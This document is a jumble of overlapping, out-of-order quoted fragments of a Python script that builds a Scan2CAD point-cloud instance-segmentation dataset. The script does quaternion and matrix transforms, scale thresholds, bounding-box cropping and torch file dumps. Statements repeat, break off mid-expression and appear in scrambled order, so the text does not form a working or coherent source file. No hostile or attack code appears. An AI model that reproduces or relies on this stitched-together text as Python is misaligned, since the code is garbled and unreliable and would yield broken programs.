self.out_path = os.path.join(BASE_DIR_1, 'data4')", "= os.path.join(BASE_DIR, 'collect') for index in range(N): data = self.dataset[index]", "num_scans = len(self.scan_list) else: print('illegal split name') return filename_json =", "=> {v:4d}') def __len__(self): return len(self.dataset) def size_check(self, scale, id_scan,", "number of instances in dataset V = a number of", "self.dataset[index] id_scan = data['id_scan'] K = data['n_total'] assert(K <= MAX_NUM_OBJ)", "MAX_NUM_OBJ) # Point Cloud mesh_vertices = np.load(os.path.join(self.data_path, id_scan) + '_vert.npy')", "sname in enumerate(error_scan.keys()): print('{:2d}: {}'.format(i, sname)) f.write(sname) f.write('\\n') if __name__", "= np.eye(4) if center is not None: C[0:3, 3] =", "= {\"__SYM_NONE\": 0, \"__SYM_ROTATE_UP_2\": 1, \"__SYM_ROTATE_UP_4\": 2, \"__SYM_ROTATE_UP_INF\": 3} #", "{v:4d}') def __len__(self): return len(self.dataset) def size_check(self, scale, id_scan, sem_cls):", "# (N, 3) semantic_labels = np.load(os.path.join(self.data_path, id_scan) + '_sem_label.npy') #", "d[i]['models'][j]['fname'] = r[\"aligned_models\"][j]['id_cad'] cat_id = r[\"aligned_models\"][j]['catid_cad'] cat_ids.append(cat_id) d[i]['models'][j]['cat_id'] = cat_id", "f: self.scan_list = f.read().splitlines() # remove unavailiable scans num_scans =", "- (1) Region Crop & Axis-aligned Bounding Box vert_choices =", "= np.array(data['models'][model]['trs']['translation']) obj_rotation = np.array(data['models'][model]['trs']['rotation']) obj_scale = np.array(data['models'][model]['trs']['scale']) obj_scale =", "M[0:3, 0:3].copy() sx = np.linalg.norm(R[0:3, 0]) sy = np.linalg.norm(R[0:3, 1])", "non-valid class object (only preserve CARED classes) instance_vertices[vert_choices] = k", "1 instance_vertices = np.ones((point_cloud.shape[0]), dtype=np.int64) * (-1) semantic_vertices = np.ones((point_cloud.shape[0]),", "colors, sem_labels, ins_labels), file_path) print(f\"[{index}/{N} Saved] {id_scan} >>> {file_path}\") #", "point_cloud = mesh_vertices[:,0:3] colors = mesh_vertices[:,3:6] / 127.5 - 1", "j in range(n_model): d[i]['models'][j] = {} d[i]['models'][j]['trs'] = r[\"aligned_models\"][j]['trs'] d[i]['models'][j]['center']", "PADDING = 0.05 SCALE_THRASHOLD = 0.05 SEG_THRESHOLD = 1 REMAPPER", "id_scan, sem_cls) Mobj = compose_mat4(obj_translation, obj_rotation, obj_scale, obj_center) # Instance", "\"__SYM_ROTATE_UP_4\": 2, \"__SYM_ROTATE_UP_INF\": 3} # functions ============================================================================================== def from_q_to_6d(q): q", "= np.unique(instance_vertices) if (np.max(instance_vertices)+1) != (len(ins_list)-1): print_log(f\"[{index}/{N} Error] Please check", "LOADING SCENES\") collect_path = os.path.join(BASE_DIR, 'collect') for index in range(N):", "= cat_class # category summary cat_summary[cat_class]+=1 self.dataset = d self.cat_ids", "{} for model in range(K): obj_scale = np.array(data['models'][model]['trs']['scale']) sort_by_scale[model] =", "= np.load(os.path.join(self.data_path, id_scan) + '_vert.npy') # (N, 3) semantic_labels =", "= np.array([]) ins_bbox = np.array(data['models'][model]['bbox']) obj_corners = s2c_utils.get_3d_box_rotated(ins_bbox, Mobj, padding=PADDING)", "# ============ DUMP ============ # scene data file_path = os.path.join(self.out_path,", "= i_scan d[i]['trs'] = r[\"trs\"] n_model = r[\"n_aligned_models\"] d[i]['n_total'] =", "return M def compose_mat4(t, q, s, center=None): if not isinstance(q,", "Semantic/Instance vertices ======= if seg_nx < SEG_THRESHOLD: k -= 1", "0, \"__SYM_ROTATE_UP_2\": 1, \"__SYM_ROTATE_UP_4\": 2, \"__SYM_ROTATE_UP_INF\": 3} # functions ==============================================================================================", "(0~num_classes-1) # Transform obj_center = np.array(data['models'][model]['center']) obj_translation = np.array(data['models'][model]['trs']['translation']) obj_rotation", "np.eye(4) T[0:3, 3] = t R = np.eye(4) R[0:3, 0:3]", "file_path=scene_path) point_cloud = np.ascontiguousarray(point_cloud[:, :3] - point_cloud[:, :3].mean(0)) pcoord =", "file_path) print(f\"[{index}/{N} Saved] {id_scan} >>> {file_path}\") # error scan with", "sem_cls) Mobj = compose_mat4(obj_translation, obj_rotation, obj_scale, obj_center) # Instance vertices", "- (2) Instance Segments Crop seg_points, vert_choices = \\ s2c_utils.filter_dominant_cls(point_cloud,", "# semantics () sem_cls = data['models'][model]['sem_cls'] # (0~num_classes-1) # Transform", "True return scale def collect(self, N, dump=False): \"\"\" Return dictionary", "i print(f'REMAPPER[{x:2d}] => {i:2d}') SYM2CLASS = {\"__SYM_NONE\": 0, \"__SYM_ROTATE_UP_2\": 1,", "(N, 3) semantic_labels = np.load(os.path.join(self.data_path, id_scan) + '_sem_label.npy') # (N,", "self.cat_ids = np.unique(cat_ids) if distr_check: for k, v in sorted(cat_summary.items(),", "Point Cloud mesh_vertices = np.load(os.path.join(self.data_path, id_scan) + '_vert.npy') # (N,", "sorted(sort_by_scale.items(), key=(lambda item:item[1]), reverse=True)} K = len(model_scale_order.keys()) # Iterate on", "k += 1 # semantics () sem_cls = data['models'][model]['sem_cls'] #", "center is not None: C[0:3, 3] = center M =", "r[\"aligned_models\"][j]['center'] d[i]['models'][j]['bbox'] = r[\"aligned_models\"][j]['bbox'] d[i]['models'][j]['sym'] = SYM2CLASS[r[\"aligned_models\"][j]['sym']] d[i]['models'][j]['fname'] = r[\"aligned_models\"][j]['id_cad']", "Transform obj_center = np.array(data['models'][model]['center']) obj_translation = np.array(data['models'][model]['trs']['translation']) obj_rotation = np.array(data['models'][model]['trs']['rotation'])", "= np.array(data['models'][model]['trs']['scale']) sort_by_scale[model] = np.sum(obj_scale) model_scale_order = {model: scale for", "in self.scan_list \\ if sname in all_scan_names] print_log('Dataset for {}:", "data = self.dataset[index] id_scan = data['id_scan'] K = data['n_total'] assert(K", "dist, idx = torch.min(p_dist, dim=-1) return dist.item(), idx.item() def make_M_from_tqs(t,", "torch.utils.data import Dataset BASE_DIR_1 = os.path.dirname(os.path.abspath(__file__)) # scan2cad BASE_DIR =", "this scene --> {id_scan}\") error_scan[id_scan] = 0 continue # DUMP", "[sname for sname in self.scan_list \\ if sname in all_scan_names]", "scale[1] < SCALE_THRASHOLD: scale[1] = SCALE_THRASHOLD check = True if", "target - p p_dist = torch.sum(p_diff**2, dim=-1) dist, idx =", "idx = torch.min(p_dist, dim=-1) return dist.item(), idx.item() def make_M_from_tqs(t, q,", "scale[1] = SCALE_THRASHOLD check = True if scale[2] < SCALE_THRASHOLD:", "print_log('Dataset for {}: kept {} scans out of {}'.format(split_set, len(self.scan_list),", "print(f'REMAPPER[{x:2d}] => {i:2d}') SYM2CLASS = {\"__SYM_NONE\": 0, \"__SYM_ROTATE_UP_2\": 1, \"__SYM_ROTATE_UP_4\":", "sem_cls = REMAPPER[sem_cls] # if sem_cls < 0: continue #", "< SEG_THRESHOLD: k -= 1 checked = True continue sem_cls", "id_scan+'_inst.pth') torch.save((pcoord, colors, sem_labels, ins_labels), file_path) print(f\"[{index}/{N} Saved] {id_scan} >>>", "= True return scale def collect(self, N, dump=False): \"\"\" Return", "# ======================================================================================================== LOG_N = 100 def print_log(log): print('-'*LOG_N+'\\n'+log+' \\n'+'-'*LOG_N) class", "= os.path.join(collect_path, f'{id_scan}') if not os.path.exists(scene_path): os.mkdir(scene_path) print(\"Created scene directory:", "semantic_vertices.astype(np.float64) ins_labels = instance_vertices.astype(np.float64) # ============ DUMP ============ # scene", "os.path.join(collect_path, f'{id_scan}') if not os.path.exists(scene_path): os.mkdir(scene_path) print(\"Created scene directory: {}\".format(scene_path))", "np.eye(4) R[0:3, 0:3] = quaternion.as_rotation_matrix(q) S = np.eye(4) S[0:3, 0:3]", "sort_by_scale[model] = np.sum(obj_scale) model_scale_order = {model: scale for model, scale", "- 1 instance_vertices = np.ones((point_cloud.shape[0]), dtype=np.int64) * (-1) semantic_vertices =", "S[0:3, 0:3] = np.diag(s) M = T.dot(R).dot(S) return M def", "= semantic_vertices.astype(np.float64) ins_labels = instance_vertices.astype(np.float64) # ============ DUMP ============ #", "split_filenames = os.path.join(BASE_DIR_1, 'meta_data', 'scan2cad_{}.txt'.format(split_set)) with open(split_filenames, 'r') as f:", "True continue sem_cls = REMAPPER[sem_cls] # if sem_cls < 0:", "# /root/Dataset DUMP_DIR = os.path.join(ROOT_DIR, 'data') sys.path.append(BASE_DIR) sys.path.append(ROOT_DIR) from s2c_map", "CARED classes) instance_vertices[vert_choices] = k # (0~K-1) NOTE:unannotated=-1 semantic_vertices[vert_choices] =", "num_instances=K, bboxes=None, file_path=scene_path) point_cloud = np.ascontiguousarray(point_cloud[:, :3] - point_cloud[:, :3].mean(0))", "h5py import numpy as np import quaternion import torch from", "in enumerate(error_scan.keys()): print('{:2d}: {}'.format(i, sname)) f.write(sname) f.write('\\n') if __name__ ==", "15000 CHUNK_SIZE = 1000 INF = 9999 NOT_CARED_ID = np.array([INF])", "Segments Crop seg_points, vert_choices = \\ s2c_utils.filter_dominant_cls(point_cloud, obj_vert_ind, semantic_labels, sem_cls+1,", "= np.array(data['models'][model]['bbox']) obj_corners = s2c_utils.get_3d_box_rotated(ins_bbox, Mobj, padding=PADDING) ex_points, obj_vert_ind =", "@<EMAIL> import os, sys import json import h5py import numpy", "data['models'][model]['sem_cls'] # (0~num_classes-1) # Transform obj_center = np.array(data['models'][model]['center']) obj_translation =", "{id_scan}\") error_scan[id_scan] = 0 continue # DUMP COLLECT RESULTS if", "number of vertices args: N: int a size of dataset", "error scan with open(self.out_path+'/error_scan.txt', 'w') as f: print_log(\"ERROR SCAN\") for", "= torch.from_numpy(ps.copy()) p = torch.from_numpy(p.copy()) p_diff = target - p", "= np.eye(4) R[0:3, 0:3] = quaternion.as_rotation_matrix(q) S = np.eye(4) S[0:3,", "for i, sname in enumerate(error_scan.keys()): print('{:2d}: {}'.format(i, sname)) f.write(sname) f.write('\\n')", "self.scan_names = [] if split_set in ['all', 'train', 'val', 'test']:", "for i, model in enumerate(model_scale_order.keys()): k += 1 # semantics", "sz]) R[:,0] /= sx R[:,1] /= sy R[:,2] /= sz", "ID2NAME, CARED_CLASS_MASK from s2c_config import Scan2CADDatasetConfig import s2c_utils sys.path.append(os.path.join(ROOT_DIR, 'models/retrieval/'))", "colors.astype(np.float32) sem_labels = semantic_vertices.astype(np.float64) ins_labels = instance_vertices.astype(np.float64) # ============ DUMP", "os.path.join(BASE_DIR_1, 'data4') if not os.path.exists(self.out_path): os.mkdir(self.out_path) print(\"Create export directory: {}\".format(self.out_path))", "instance_vertices = np.ones((point_cloud.shape[0]), dtype=np.int64) * (-1) semantic_vertices = np.ones((point_cloud.shape[0]), dtype=np.int64)", "# - (2) Instance Segments Crop seg_points, vert_choices = \\", "ROOT_DIR = os.path.dirname(BASE_DIR) # PointGroup DATA_DIR = os.path.dirname(ROOT_DIR) # /root/", "= quaternion.as_rotation_matrix(q) S = np.eye(4) S[0:3, 0:3] = np.diag(s) M", "item:item[1]), reverse=True)} K = len(model_scale_order.keys()) # Iterate on scale_order checked", "Crop seg_points, vert_choices = \\ s2c_utils.filter_dominant_cls(point_cloud, obj_vert_ind, semantic_labels, sem_cls+1, NOT_CARED_ID)", "= mesh_vertices[:,3:6] / 127.5 - 1 instance_vertices = np.ones((point_cloud.shape[0]), dtype=np.int64)", "cropping order to avoid overlapping sort_by_scale = {} for model", "= 15000 CHUNK_SIZE = 1000 INF = 9999 NOT_CARED_ID =", "open(filename_json, 'r') as f: data = json.load(f) d = {}", "return scale def collect(self, N, dump=False): \"\"\" Return dictionary of", "d[i]['models'][j] = {} d[i]['models'][j]['trs'] = r[\"aligned_models\"][j]['trs'] d[i]['models'][j]['center'] = r[\"aligned_models\"][j]['center'] d[i]['models'][j]['bbox']", "True if scale[1] < SCALE_THRASHOLD: scale[1] = SCALE_THRASHOLD check =", "MAX_DATA_SIZE = 15000 CHUNK_SIZE = 1000 INF = 9999 NOT_CARED_ID", "= M[0:3, 0:3].copy() sx = np.linalg.norm(R[0:3, 0]) sy = np.linalg.norm(R[0:3,", "len(self.scan_list), num_scans)) num_scans = len(self.scan_list) else: print('illegal split name') return", "f: print_log(\"ERROR SCAN\") for i, sname in enumerate(error_scan.keys()): print('{:2d}: {}'.format(i,", "1 d[i] = {} d[i]['id_scan'] = i_scan d[i]['trs'] = r[\"trs\"]", "def __init__(self, split_set='train', distr_check=False): self.data_path = os.path.join(DATA_DIR, 'Scan2CAD/export') self.out_path =", "data['n_total'] assert(K <= MAX_NUM_OBJ) # Point Cloud mesh_vertices = np.load(os.path.join(self.data_path,", "(-1) semantic_vertices = np.ones((point_cloud.shape[0]), dtype=np.int64) * (-1) # Sorting points", "obj_scale, obj_center) # Instance vertices # - (1) Region Crop", "\"\"\" # ======= GLOBAL LABEL VARIABLES ======= error_scan = {}", "= -1 for i, model in enumerate(model_scale_order.keys()): k += 1", "import h5py import numpy as np import quaternion import torch", "assert(K <= MAX_NUM_OBJ) # Point Cloud mesh_vertices = np.load(os.path.join(self.data_path, id_scan)", "{} d[i]['models'][j]['trs'] = r[\"aligned_models\"][j]['trs'] d[i]['models'][j]['center'] = r[\"aligned_models\"][j]['center'] d[i]['models'][j]['bbox'] = r[\"aligned_models\"][j]['bbox']", "np.load(os.path.join(self.data_path, id_scan) + '_sem_label.npy') # (N, sem_cls(0, 1~35, 36~MAX, INF))", "np.ones((point_cloud.shape[0]), dtype=np.int64) * (-1) semantic_vertices = np.ones((point_cloud.shape[0]), dtype=np.int64) * (-1)", "id_scan, sem_cls): check = False if scale[0] < SCALE_THRASHOLD: scale[0]", "verts-cad_file pairs \"\"\" # ======= GLOBAL LABEL VARIABLES ======= error_scan", "os.path.dirname(BASE_DIR) # PointGroup DATA_DIR = os.path.dirname(ROOT_DIR) # /root/ DATA_DIR =", "!= (len(ins_list)-1): print_log(f\"[{index}/{N} Error] Please check this scene --> {id_scan}\")", "q[1], q[2], q[3]) mat = quaternion.as_rotation_matrix(q) # 3x3 rep6d =", "ins_points=instance_vertices, num_instances=K, bboxes=None, file_path=scene_path) point_cloud = np.ascontiguousarray(point_cloud[:, :3] - point_cloud[:,", "as f: print_log(\"ERROR SCAN\") for i, sname in enumerate(error_scan.keys()): print('{:2d}:", "DC.ShapenetIDtoClass(cat_id) d[i]['models'][j]['sem_cls'] = cat_class # category summary cat_summary[cat_class]+=1 self.dataset =", "def make_M_from_tqs(t, q, s): q = np.quaternion(q[0], q[1], q[2], q[3])", "= colors.astype(np.float32) sem_labels = semantic_vertices.astype(np.float64) ins_labels = instance_vertices.astype(np.float64) # ============", "SYM2CLASS = {\"__SYM_NONE\": 0, \"__SYM_ROTATE_UP_2\": 1, \"__SYM_ROTATE_UP_4\": 2, \"__SYM_ROTATE_UP_INF\": 3}", "quaternion.as_rotation_matrix(q) S = np.eye(4) S[0:3, 0:3] = np.diag(s) M =", "COLLECT RESULTS if dump: scene_path = os.path.join(collect_path, f'{id_scan}') if not", "index in range(N): data = self.dataset[index] id_scan = data['id_scan'] K", "for {}: kept {} scans out of {}'.format(split_set, len(self.scan_list), num_scans))", "q, s # ======================================================================================================== LOG_N = 100 def print_log(log): print('-'*LOG_N+'\\n'+log+'", "return filename_json = BASE_DIR_1 + \"/full_annotations.json\" assert filename_json self.dataset =", "UVR KAIST @<EMAIL> import os, sys import json import h5py", "ins_list = np.unique(instance_vertices) if (np.max(instance_vertices)+1) != (len(ins_list)-1): print_log(f\"[{index}/{N} Error] Please", "pcoord = point_cloud.astype(np.float64) colors = colors.astype(np.float32) sem_labels = semantic_vertices.astype(np.float64) ins_labels", "'_sem_label.npy') # (N, sem_cls(0, 1~35, 36~MAX, INF)) point_cloud = mesh_vertices[:,0:3]", "# functions ============================================================================================== def from_q_to_6d(q): q = np.quaternion(q[0], q[1], q[2],", "def size_check(self, scale, id_scan, sem_cls): check = False if scale[0]", "check ins_list = np.unique(instance_vertices) if (np.max(instance_vertices)+1) != (len(ins_list)-1): print_log(f\"[{index}/{N} Error]", "# remove unavailiable scans num_scans = len(self.scan_list) self.scan_list = [sname", "isinstance(q, np.quaternion): q = np.quaternion(q[0], q[1], q[2], q[3]) T =", "NK = a total number of instances in dataset V", "class object (only preserve CARED classes) instance_vertices[vert_choices] = k #", "LABEL VARIABLES ======= error_scan = {} # Text # Anchor", "floor # Thresholds PADDING = 0.05 SCALE_THRASHOLD = 0.05 SEG_THRESHOLD", "= len(self.scan_list) else: print('illegal split name') return filename_json = BASE_DIR_1", "= False if scale[0] < SCALE_THRASHOLD: scale[0] = SCALE_THRASHOLD check", "summary cat_summary[cat_class]+=1 self.dataset = d self.cat_ids = np.unique(cat_ids) if distr_check:", "sem_cls(0, 1~35, 36~MAX, INF)) point_cloud = mesh_vertices[:,0:3] colors = mesh_vertices[:,3:6]", "SCALE_THRASHOLD check = True if scale[2] < SCALE_THRASHOLD: scale[2] =", "= os.path.dirname(os.path.abspath(__file__)) # scan2cad BASE_DIR = os.path.dirname(BASE_DIR_1) # dataset ROOT_DIR", "np.eye(4) S[0:3, 0:3] = np.diag(s) C = np.eye(4) if center", "KAIST @<EMAIL> import os, sys import json import h5py import", "Scan2CADDatasetConfig import s2c_utils sys.path.append(os.path.join(ROOT_DIR, 'models/retrieval/')) DC = Scan2CADDatasetConfig() MAX_NUM_POINT =", "np import quaternion import torch from torch.utils.data import Dataset BASE_DIR_1", "open(split_filenames, 'r') as f: self.scan_list = f.read().splitlines() # remove unavailiable", "mat = quaternion.as_rotation_matrix(q) # 3x3 rep6d = mat[:, 0:2].transpose().reshape(-1, 6)", "num_scans)) num_scans = len(self.scan_list) else: print('illegal split name') return filename_json", "vert_choices = np.array([]) ins_bbox = np.array(data['models'][model]['bbox']) obj_corners = s2c_utils.get_3d_box_rotated(ins_bbox, Mobj,", "= center M = T.dot(R).dot(S).dot(C) return M def decompose_mat4(M): R", "Axis-aligned Bounding Box vert_choices = np.array([]) ins_bbox = np.array(data['models'][model]['bbox']) obj_corners", "# <NAME>, UVR KAIST @<EMAIL> import os, sys import json", "np.diag(s) M = T.dot(R).dot(S) return M def compose_mat4(t, q, s,", "a number of vertices args: N: int a size of", "of dataset return: dict: (NK, 1, V, 3) a dictionary", "REMAPPER = np.ones(35, dtype=np.int64) * (-1) for i, x in", "of vertices args: N: int a size of dataset return:", "{} # Text # Anchor collection (for detection) print_log(\" LOADING", "# Anchor collection (for detection) print_log(\" LOADING SCENES\") collect_path =", "d = {} i = -1 for idx, r in", "'Dataset') # /root/Dataset DUMP_DIR = os.path.join(ROOT_DIR, 'data') sys.path.append(BASE_DIR) sys.path.append(ROOT_DIR) from", "{}\".format(self.out_path)) all_scan_names = list(set([os.path.basename(x)[0:12] \\ for x in os.listdir(self.data_path) if", "mesh_vertices[:,0:3] colors = mesh_vertices[:,3:6] / 127.5 - 1 instance_vertices =", "# Iterate on scale_order checked = False k = -1", "# ignore non-valid class object (only preserve CARED classes) instance_vertices[vert_choices]", "\"__SYM_ROTATE_UP_INF\": 3} # functions ============================================================================================== def from_q_to_6d(q): q = np.quaternion(q[0],", "distr_check=False): self.data_path = os.path.join(DATA_DIR, 'Scan2CAD/export') self.out_path = os.path.join(BASE_DIR_1, 'data4') if", "unavailiable scans num_scans = len(self.scan_list) self.scan_list = [sname for sname", "= os.path.join(ROOT_DIR, 'data') sys.path.append(BASE_DIR) sys.path.append(ROOT_DIR) from s2c_map import CLASS_MAPPING, ID2NAME,", "/= sy R[:,2] /= sz q = quaternion.from_rotation_matrix(R[0:3, 0:3]) t", "collect(self, N, dump=False): \"\"\" Return dictionary of {verts(x,y,z): cad filename}", "dump: scene_path = os.path.join(collect_path, f'{id_scan}') if not os.path.exists(scene_path): os.mkdir(scene_path) print(\"Created", "+= 1 d[i] = {} d[i]['id_scan'] = i_scan d[i]['trs'] =", "MAX_NUM_OBJ = 64 INS_NUM_POINT = 2048 FEATURE_DIMENSION = 512 MAX_DATA_SIZE", "# Sorting points cropping order to avoid overlapping sort_by_scale =", "s2c_map import CLASS_MAPPING, ID2NAME, CARED_CLASS_MASK from s2c_config import Scan2CADDatasetConfig import", "'w') as f: print_log(\"ERROR SCAN\") for i, sname in enumerate(error_scan.keys()):", "class Scan2CADCollect(Dataset): def __init__(self, split_set='train', distr_check=False): self.data_path = os.path.join(DATA_DIR, 'Scan2CAD/export')", "= Scan2CADDatasetConfig() MAX_NUM_POINT = 50000 MAX_NUM_OBJ = 64 INS_NUM_POINT =", "= cat_id cat_class = DC.ShapenetIDtoClass(cat_id) d[i]['models'][j]['sem_cls'] = cat_class # category", "+= 1 # semantics () sem_cls = data['models'][model]['sem_cls'] # (0~num_classes-1)", "model_scale_order = {model: scale for model, scale in sorted(sort_by_scale.items(), key=(lambda", "T = np.eye(4) T[0:3, 3] = t R = np.eye(4)", "total number of instances in dataset V = a number", "id_scan) + '_sem_label.npy') # (N, sem_cls(0, 1~35, 36~MAX, INF)) point_cloud", "np.array(data['models'][model]['center']) obj_translation = np.array(data['models'][model]['trs']['translation']) obj_rotation = np.array(data['models'][model]['trs']['rotation']) obj_scale = np.array(data['models'][model]['trs']['scale'])", "sy R[:,2] /= sz q = quaternion.from_rotation_matrix(R[0:3, 0:3]) t =", "/= sz q = quaternion.from_rotation_matrix(R[0:3, 0:3]) t = M[0:3, 3]", "scale_order checked = False k = -1 for i, model", "= np.eye(4) T[0:3, 3] = t R = np.eye(4) R[0:3,", "(-1) for i, x in enumerate(CARED_CLASS_MASK): REMAPPER[x] = i print(f'REMAPPER[{x:2d}]", "continue self.scan_names.append(i_scan) i += 1 d[i] = {} d[i]['id_scan'] =", "dictionary for verts-cad_file pairs \"\"\" # ======= GLOBAL LABEL VARIABLES", "# 3x3 rep6d = mat[:, 0:2].transpose().reshape(-1, 6) # 6 return", "= os.path.join(BASE_DIR_1, 'meta_data', 'scan2cad_{}.txt'.format(split_set)) with open(split_filenames, 'r') as f: self.scan_list", "= 64 INS_NUM_POINT = 2048 FEATURE_DIMENSION = 512 MAX_DATA_SIZE =", "def compose_mat4(t, q, s, center=None): if not isinstance(q, np.quaternion): q", "scale[0] < SCALE_THRASHOLD: scale[0] = SCALE_THRASHOLD check = True if", "self.data_path = os.path.join(DATA_DIR, 'Scan2CAD/export') self.out_path = os.path.join(BASE_DIR_1, 'data4') if not", "= data['id_scan'] K = data['n_total'] assert(K <= MAX_NUM_OBJ) # Point", "k -= 1 checked = True continue sem_cls = REMAPPER[sem_cls]", "p = torch.from_numpy(p.copy()) p_diff = target - p p_dist =", "np.diag(s) C = np.eye(4) if center is not None: C[0:3,", "wall, floor # Thresholds PADDING = 0.05 SCALE_THRASHOLD = 0.05", "= os.path.join(DATA_DIR, 'Dataset') # /root/Dataset DUMP_DIR = os.path.join(ROOT_DIR, 'data') sys.path.append(BASE_DIR)", "in sorted(cat_summary.items(), key=lambda item:item[1], reverse=True): print(f'{k:2d}: {DC.ClassToName[k]:12s} => {v:4d}') def", "None: C[0:3, 3] = center M = T.dot(R).dot(S).dot(C) return M", "p p_dist = torch.sum(p_diff**2, dim=-1) dist, idx = torch.min(p_dist, dim=-1)", "for j in range(n_model): d[i]['models'][j] = {} d[i]['models'][j]['trs'] = r[\"aligned_models\"][j]['trs']", "True if scale[2] < SCALE_THRASHOLD: scale[2] = SCALE_THRASHOLD check =", "np.array(data['models'][model]['trs']['rotation']) obj_scale = np.array(data['models'][model]['trs']['scale']) obj_scale = self.size_check(obj_scale, id_scan, sem_cls) Mobj", "in all_scan_names] print_log('Dataset for {}: kept {} scans out of", "for i, x in enumerate(CARED_CLASS_MASK): REMAPPER[x] = i print(f'REMAPPER[{x:2d}] =>", "DATA_DIR = os.path.dirname(ROOT_DIR) # /root/ DATA_DIR = os.path.join(DATA_DIR, 'Dataset') #", "center=None): if not isinstance(q, np.quaternion): q = np.quaternion(q[0], q[1], q[2],", "SCENES\") collect_path = os.path.join(BASE_DIR, 'collect') for index in range(N): data", "sorted(cat_summary.items(), key=lambda item:item[1], reverse=True): print(f'{k:2d}: {DC.ClassToName[k]:12s} => {v:4d}') def __len__(self):", "3] = center M = T.dot(R).dot(S).dot(C) return M def decompose_mat4(M):", "idx, r in enumerate(data): i_scan = r[\"id_scan\"] if i_scan not", "scan2cad BASE_DIR = os.path.dirname(BASE_DIR_1) # dataset ROOT_DIR = os.path.dirname(BASE_DIR) #", "check = True if scale[2] < SCALE_THRASHOLD: scale[2] = SCALE_THRASHOLD", "scene --> {id_scan}\") error_scan[id_scan] = 0 continue # DUMP COLLECT", "s, center=None): if not isinstance(q, np.quaternion): q = np.quaternion(q[0], q[1],", "torch.from_numpy(ps.copy()) p = torch.from_numpy(p.copy()) p_diff = target - p p_dist", "np.quaternion(q[0], q[1], q[2], q[3]) mat = quaternion.as_rotation_matrix(q) # 3x3 rep6d", "= np.linalg.norm(R[0:3, 0]) sy = np.linalg.norm(R[0:3, 1]) sz = np.linalg.norm(R[0:3,", "semantic_vertices = np.ones((point_cloud.shape[0]), dtype=np.int64) * (-1) # Sorting points cropping", "= np.quaternion(q[0], q[1], q[2], q[3]) mat = quaternion.as_rotation_matrix(q) # 3x3", "1]) sz = np.linalg.norm(R[0:3, 2]) s = np.array([sx, sy, sz])", "1~35, 36~MAX, INF)) point_cloud = mesh_vertices[:,0:3] colors = mesh_vertices[:,3:6] /", "np.linalg.norm(R[0:3, 0]) sy = np.linalg.norm(R[0:3, 1]) sz = np.linalg.norm(R[0:3, 2])", "os.path.dirname(os.path.abspath(__file__)) # scan2cad BASE_DIR = os.path.dirname(BASE_DIR_1) # dataset ROOT_DIR =", "f'{id_scan}') if not os.path.exists(scene_path): os.mkdir(scene_path) print(\"Created scene directory: {}\".format(scene_path)) s2c_utils.write_scene_results(points=point_cloud,", "cad filename} Note: NK = a total number of instances", "semantic_vertices[vert_choices] = sem_cls # (0~num_classes-1) NOTE:unannotated=-1 # error check ins_list", "'meta_data', 'scan2cad_{}.txt'.format(split_set)) with open(split_filenames, 'r') as f: self.scan_list = f.read().splitlines()", "i_scan d[i]['trs'] = r[\"trs\"] n_model = r[\"n_aligned_models\"] d[i]['n_total'] = n_model", "nx = ex_points.shape[0] # - (2) Instance Segments Crop seg_points,", "Mobj, padding=PADDING) ex_points, obj_vert_ind = s2c_utils.extract_pc_in_box3d(point_cloud, obj_corners) nx = ex_points.shape[0]", "def nn_search(p, ps): target = torch.from_numpy(ps.copy()) p = torch.from_numpy(p.copy()) p_diff", "* (-1) for i, x in enumerate(CARED_CLASS_MASK): REMAPPER[x] = i", "(N, sem_cls(0, 1~35, 36~MAX, INF)) point_cloud = mesh_vertices[:,0:3] colors =", "= np.quaternion(q[0], q[1], q[2], q[3]) T = np.eye(4) T[0:3, 3]", "semantics () sem_cls = data['models'][model]['sem_cls'] # (0~num_classes-1) # Transform obj_center", "d[i]['models'][j]['cat_id'] = cat_id cat_class = DC.ShapenetIDtoClass(cat_id) d[i]['models'][j]['sem_cls'] = cat_class #", "'val', 'test']: split_filenames = os.path.join(BASE_DIR_1, 'meta_data', 'scan2cad_{}.txt'.format(split_set)) with open(split_filenames, 'r')", "np.eye(4) if center is not None: C[0:3, 3] = center", "\"/full_annotations.json\" assert filename_json self.dataset = {} cat_summary = dict.fromkeys(DC.ClassToName, 0)", "len(self.scan_list) else: print('illegal split name') return filename_json = BASE_DIR_1 +", "= {} for j in range(n_model): d[i]['models'][j] = {} d[i]['models'][j]['trs']", "= [sname for sname in self.scan_list \\ if sname in", "= r[\"aligned_models\"][j]['center'] d[i]['models'][j]['bbox'] = r[\"aligned_models\"][j]['bbox'] d[i]['models'][j]['sym'] = SYM2CLASS[r[\"aligned_models\"][j]['sym']] d[i]['models'][j]['fname'] =", "= np.load(os.path.join(self.data_path, id_scan) + '_sem_label.npy') # (N, sem_cls(0, 1~35, 36~MAX,", "= {model: scale for model, scale in sorted(sort_by_scale.items(), key=(lambda item:item[1]),", "on scale_order checked = False k = -1 for i,", "= os.path.dirname(ROOT_DIR) # /root/ DATA_DIR = os.path.join(DATA_DIR, 'Dataset') # /root/Dataset", "= True continue sem_cls = REMAPPER[sem_cls] # if sem_cls <", "print(f\"[{index}/{N} Saved] {id_scan} >>> {file_path}\") # error scan with open(self.out_path+'/error_scan.txt',", "collection (for detection) print_log(\" LOADING SCENES\") collect_path = os.path.join(BASE_DIR, 'collect')", "np.unique(cat_ids) if distr_check: for k, v in sorted(cat_summary.items(), key=lambda item:item[1],", "sem_cls): check = False if scale[0] < SCALE_THRASHOLD: scale[0] =", "6) # 6 return rep6d def nn_search(p, ps): target =", "instance_vertices[vert_choices] = k # (0~K-1) NOTE:unannotated=-1 semantic_vertices[vert_choices] = sem_cls #", "if (np.max(instance_vertices)+1) != (len(ins_list)-1): print_log(f\"[{index}/{N} Error] Please check this scene", "np.ones(35, dtype=np.int64) * (-1) for i, x in enumerate(CARED_CLASS_MASK): REMAPPER[x]", "sname)) f.write(sname) f.write('\\n') if __name__ == \"__main__\": Dataset = Scan2CADCollect(split_set='all',", "q[2], q[3]) T = np.eye(4) T[0:3, 3] = t R", "s = np.array([sx, sy, sz]) R[:,0] /= sx R[:,1] /=", "s2c_utils.extract_pc_in_box3d(point_cloud, obj_corners) nx = ex_points.shape[0] # - (2) Instance Segments", "if distr_check: for k, v in sorted(cat_summary.items(), key=lambda item:item[1], reverse=True):", "scale[2] = SCALE_THRASHOLD check = True return scale def collect(self,", "in sorted(sort_by_scale.items(), key=(lambda item:item[1]), reverse=True)} K = len(model_scale_order.keys()) # Iterate", "S[0:3, 0:3] = np.diag(s) C = np.eye(4) if center is", "\"__SYM_ROTATE_UP_2\": 1, \"__SYM_ROTATE_UP_4\": 2, \"__SYM_ROTATE_UP_INF\": 3} # functions ============================================================================================== def", "C = np.eye(4) if center is not None: C[0:3, 3]", "preserve CARED classes) 